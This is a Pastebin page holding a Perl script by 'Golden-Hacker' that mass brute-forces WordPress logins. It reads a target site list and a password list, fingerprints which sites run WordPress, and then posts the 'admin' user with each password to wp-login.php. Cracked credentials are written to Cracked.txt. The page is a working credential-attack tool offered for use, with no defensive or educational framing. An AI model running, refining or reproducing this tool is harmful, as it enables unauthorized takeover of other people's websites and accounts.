GoldenHackerTools

[Perl] Wordpress Brute-force Free V1

Nov 29th, 2016
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.38 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # WP-BRUTE BY MMXM
  4. # Gr33tz To Cy¢lone & Ut0p|4
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request;
  8. use LWP::Simple;
  9. use LWP::UserAgent;
  10. use Win32::Console::ANSI;
  11. use IO::Select;
  12. use HTTP::Response;
  13. use HTTP::Request::Common qw(POST);
  14. use HTTP::Request::Common qw(GET);
  15. use URI::URL;
  16. use IO::Socket::INET;
  17. use Term::ANSIColor;
  18.  
  19. if ($^O =~ /MSWin32/) {system("cls"); system("color A");
  20. }else { system("clear"); }
  21. print "    ######################################################################\n";
  22. print "    #                                                                    #\n";
  23. print color 'reset';
  24. print color("bold red"),"    #                           Golden-Hacker                            #\n";
  25. print color("bold red"),"    #                      _____            _    _                       #\n";
  26. print color("bold red"), "    #                     / ____|          | |  | |                      #\n";
  27. print color("bold red"), "    #                    | |  __   ______  | |__| |                      #\n";
  28. print color("bold red"), "    #                    | | |_ | |______| |  __  |                      #\n";
  29. print color("bold red"), "    #                    | |__| |          | |  | |                      # \n";
  30. print color("bold red"), "    #                      \_____|          |_|  |_|                      # \n";
  31. print color 'reset';
  32. print color("bold Green"), "    #                                                                    #  \n";
  33. print color("bold Green"), "    # Skype : Mrmohmed.Hacker                                            #  \n";
  34. print color("bold Green"), "    #                                                                    #  \n";
  35. print color("bold Green"), "    ######################################################################\n";
  36. print color("bold Green"), "\n";
  37. print color("bold Green"), "[*]-----------------------------------------------------------------------[*]\n";
  38. print color("bold Green"), "[+] Script Name          :{*} Free Wordpress brute force perl {*} \n";
  39. print color("bold Green"), "[+] Version              : 1.0\n";
  40. print color("bold Green"), "[+] Programed By         : Golden-Hacker & Ahmed Ali\n";
  41. print color("bold Green"), "[+] Email                : C3s@hotmail.com & http://Fb.com/mrm0hm3d\n";
  42. print color("bold Green"), "[+] Thank  For           : Jok3r & KaSper_BaGhDaD & Aymen & All Fr. \n";
  43. print color("bold Green"), "[*]-----------------------------------------------------------------------[*]\n";
  44. print color("bold Green"), "\n";
  45. print color 'reset';
  46. print color("bold red"), " List Sites --> ";
  47. $opn=<STDIN>;
  48. chomp $opn;
  49. print color 'reset';
  50. print color("bold yellow"), " List Pass  --> ";
  51. $passs=<STDIN>;
  52. chomp $passs;
  53. $user = "admin";
  54. print color("bold Green"), "\n";
  55. print color("bold red"), "[*] Wait To Find Only WordPress ....\n";
  56.  
  57. open(tarrget,"$opn") or die "Please Put List :) \n";
  58. while(<tarrget>){
  59. chomp($_);
  60. $site = $_;
  61. if($site !~ /http:\/\//) { $site = "http://$site/"; };
  62. if ($site !~ /^http:\/\//){
  63. $site = 'http://' . $site;
  64. }
  65. if ($site !~ /\/wp-login.php/){
  66. $site = $site . '/wp-login.php';
  67. efrez();
  68.  
  69. }
  70.  
  71. sub efrez($site){
  72. $ua = LWP::UserAgent->new(keep_alive => 1);
  73. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  74. $ua->timeout (10);
  75.  
  76. my $efreez = $ua->get("$site")->content;
  77. if($efreez =~/wp-content\/themes\/|wp-content\/plugins\/|wordpress/) {
  78. print color("bold Green"), "\n";
  79.     print colored("[WordPress] $site",'white on_blue'),"\n\n\n";
  80. open(save, '>>Wordpress.txt');
  81.     print save "$site\n";
  82.     close(save);
  83. attack();
  84. }
  85. }
  86.  
  87.  
  88.  
  89.  
  90.  
  91. sub attack(){
  92. open(a,"<$passs") or die "$!";
  93. print "\n\nSite: $site\n\n";
  94. sleep(2);
  95. while(<a>){
  96. chomp($_);
  97. my $ua = new LWP::UserAgent;
  98. my $response
  99. = $ua->post($site,
  100. { log => $user,
  101. pwd => $_,
  102. wp-submit => 'Log in',
  103. });
  104. my $code = $response->as_string;
  105.  
  106.  
  107.  
  108. print color 'reset';
  109. print color("bold red"), "[*] $site $user $_\n";
  110. if($code =~ /Location:/){
  111. if($code =~ /wordpress_logged_in/){
  112. print color 'reset';
  113. print color("bold Green"),"========================================================\n\n\[Success Found] $site\n[User]=$user\n[Pass]=$_\n\n========================================================
  114. ";
  115. open (TEXT, '>>Cracked.txt');
  116. print TEXT "[Success]$site=[User]=$user=[Pass]=$_ ==> :)\n";
  117. close (TEXT);
  118. }
  119. }
  120. }
  121. }
  122. }
  123. exit;
Add Comment
Please, Sign In to add comment